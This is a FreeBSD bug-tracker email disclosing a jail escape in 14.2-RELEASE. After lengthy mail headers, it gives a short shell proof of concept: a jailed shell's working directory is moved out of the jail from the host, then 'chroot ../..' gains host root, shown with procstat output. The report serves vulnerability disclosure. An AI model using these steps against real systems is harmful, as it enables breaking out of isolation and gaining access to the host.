From nobody Sun Mar 30 16:33:18 2025 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4ZQfvg0XtJz5rhbR for ; Sun, 30 Mar 2025 16:33:19 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R10" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4ZQfvf5sLXz3pD6 for ; Sun, 30 Mar 2025 16:33:18 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1743352398; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=BHlNpXGRjArZMXA2gximwScqcI1ml3rRGFFpQPT3EW4=; b=Xmqpyfg7KxClZq8DgcnJDHa7pRdF5YMri0bJG1npOWi/rYp1kqw5H++f5USPz01SZTM9st jWbC+l8k3SpHD/hg8BvvmurQYebgWS6r9wndLaIk7u+RMFpQkjI6+1XaUNuS81mXvJTCDM +P4LBl6LxtohPZApzAtEL6lzTQnq9H7pMUZemGydkNTH1jxg/x4JAW2nImRNiXH/mi6785 MDilda5tnBrnEIb3lQID+kBrOWBy1E99mTZBo9SnDutnQtLnNUxRd+/e6wT2Nm9agYW4Lj pxGXrE7fTGJNcBEPKZI1IpmyPSYFqh7IuoxpnoV5o5hHZJ/iPBmfZGfeQQ1UmQ== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1743352398; a=rsa-sha256; cv=none; b=dXoxMVtxRwEaIyHBei5i1hppw5heXdoMpoC4ZuVnbiu7ATO61NOBqc4j+5Eb5cx1tH9wPt +FTefEdkOCw+dKkVFoxSdwhngr/zwG5sEzilh3KKjSke8wYHA5egjbCq8vQ2AmvLLy86nm Ufg01iMGP8TmkOSdM24M1h4f/uSPFZiTq32NZLHI1Cmyy2nwaDkj2oeSK2sFTI/PijsJrk 4ANEy31iW4Mlw6dx8MZKKCT5WiKqz+3JjA7pY/g1gsOqBDVKVK4bpwvGhw+Fx0Yy/cd0mE lAWFZ4Tb/kVtm+PgS02idfs+9Yb6EPtTjE6E4BkYLyne05IyjLaFYsCI9rjm6Q== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1743352398; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=BHlNpXGRjArZMXA2gximwScqcI1ml3rRGFFpQPT3EW4=; b=Rkz3hw54JDRMO2ayT/1US+oLVM/9RHFhytp0VXAwcEyONg/Iac1RJW6u63oHe0y14hS7t8 dWkDINTg/v7ZtqcoVJYGhC11mQ6iYpBXDgTazIot+EZhY8iM6LS+m2LkV9EuRaWNQBeSjq f99r064L3K4P2bbA4JKaJNjshCAcgxHSJMrwe4C29Ms/TzZld9vzWHU+k8SqMhxY85w9Dk K11tS3hkSmCQ9agw8k7gkyXygG1Z/Y5dp5ircLj6s2UDJM9Wdlxt9kqnlJs4lGcPkRANpq gdSdu7j5EHjYjTwuvOIFDvpWX53eqOHrC1TeTsDjGCnEPVhk9F+1j/NJmH9+iA== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4ZQfvf5Ngqz1LnD for ; Sun, 30 Mar 2025 16:33:18 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 52UGXIEQ096564 for ; Sun, 30 Mar 2025 16:33:18 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 52UGXIM8096563 for bugs@FreeBSD.org; Sun, 30 Mar 2025 16:33:18 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 285782] Jail escape via directory rename outside of jail $path. Date: Sun, 30 Mar 2025 16:33:18 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: 14.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Many People X-Bugzilla-Who: crest@rlwinm.de X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter Message-ID: Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="UTF-8" X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@FreeBSD.org MIME-Version: 1.0 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D285782 Bug ID: 285782 Summary: Jail escape via directory rename outside of jail $path. Product: Base System Version: 14.2-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Many People Priority: --- Component: kern Assignee: bugs@FreeBSD.org Reporter: crest@rlwinm.de When a jail is created with a jail root path resolving to a directory that = is not a mountpoint the jail root directory has a parent directory on the same filesystem. If a jailed process has a working directory that is *NOT* the jail's root directory (or any parent root directory) and said directory is renamed out of the jail root directory (e.g. some confused host process renaming a directory from the jails "$path/tmp" to the real "/tmp", an oper= ator moving a PostgreSQL database cluster directory between jails, etc.) then the jailed process has a working directory those "../../../../../"... no longer includes any of the jail root directories applying to the jailed process. The exploit could be as simple as this: First attach to a jail: # jexec -Uroot poc2 # mkdir -vp /mnt # cd /mnt In a second shell move the jail's "/mnt" out of the jail # mv /jails/poc2/mnt /jails Back in the original jailed shell: # chroot ../.. # procstat -f $$ PID COMM FD T V FLAGS REF OFFSET PRO NAME 7484 sh text v r r------- - - - /bin/sh 7484 sh ctty v c rw------ - - - /dev/pts/5 7484 sh cwd v d r------- - - - / 7484 sh root v d r------- - - - / 7484 sh jail v d r------- - - - /jails/poc2 7484 sh 0 v c rw------ 13 1677336 - /dev/pts/5 7484 sh 1 v c rw------ 13 1677336 - /dev/pts/5 7484 sh 2 v c rw------ 13 1677336 - /dev/pts/5 7484 sh 10 v c rw------ 1 0 - /dev/pts/5 # at now logger 'GAME OVER!' --=20 You are receiving this mail because: You are the assignee for the bug.=